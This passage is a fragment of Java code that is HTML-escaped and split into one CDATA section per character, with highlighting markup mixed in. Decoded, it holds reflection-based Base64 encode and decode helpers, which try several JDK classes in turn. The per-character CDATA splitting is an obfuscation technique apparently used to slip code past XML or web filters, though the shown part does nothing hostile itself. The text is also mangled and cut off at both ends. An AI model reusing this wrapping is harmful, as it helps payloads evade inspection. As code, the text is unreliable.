]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[<span class="number">4</span>]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[f]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[N]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[B]]&gt;&lt;![CDATA[A]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[6]]&gt;&lt;![CDATA[4]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[O]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[<span class="number">4</span>]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[I]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[M]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[k]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[O]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">2</span>]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[<span class="number">4</span>]]&gt;&lt;![CDATA[D]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[<span class="number">4</span>]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[<span class="number">4</span>]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[f]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[N]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[B]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[6]]&gt;&lt;![CDATA[4]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[O]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[<span class="number">4</span>]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[M]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[D]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[k]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[<span class="number">4</span>]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[M]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[k]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[O]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[x]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[p]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[<span class="number">4</span>]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[f]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[N]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[m]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[B]]&gt;&lt;![CDATA[A]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[E]]&gt;&lt;![CDATA[6]]&gt;&lt;![CDATA[4]]&gt;&lt;![CDATA[D]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[O]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[<span class="number">6</span>]]&gt;&lt;![CDATA[<span class="number">4</span>]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[I]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[=]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[y]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[M]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[h]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[<span class="string">&quot;]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[B]]&gt;&lt;![CDATA[u]]&gt;&lt;![CDATA[f]]&gt;&lt;![CDATA[f]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[&quot;</span>]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[C]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[S]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[g]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[l]]&gt;&lt;![CDATA[a]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#125;]]&gt;&lt;![CDATA[)]]&gt;&lt;![CDATA[.]]&gt;&lt;![CDATA[i]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[v]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[k]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[(]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[o]]&gt;&lt;![CDATA[d]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[r]]&gt;&lt;![CDATA[,]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[n]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[w]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[O]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[j]]&gt;&lt;![CDATA[e]]&gt;&lt;![CDATA[c]]&gt;&lt;![CDATA[t]]&gt;&lt;![CDATA[[]]&gt;&lt;![CDATA[]]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[&#123;]]&gt;&lt;![CDATA[ ]]&gt;&lt;![CDATA[b]]&gt;&lt;![CDATA[s]]&gt;&lt;![CDATA[ 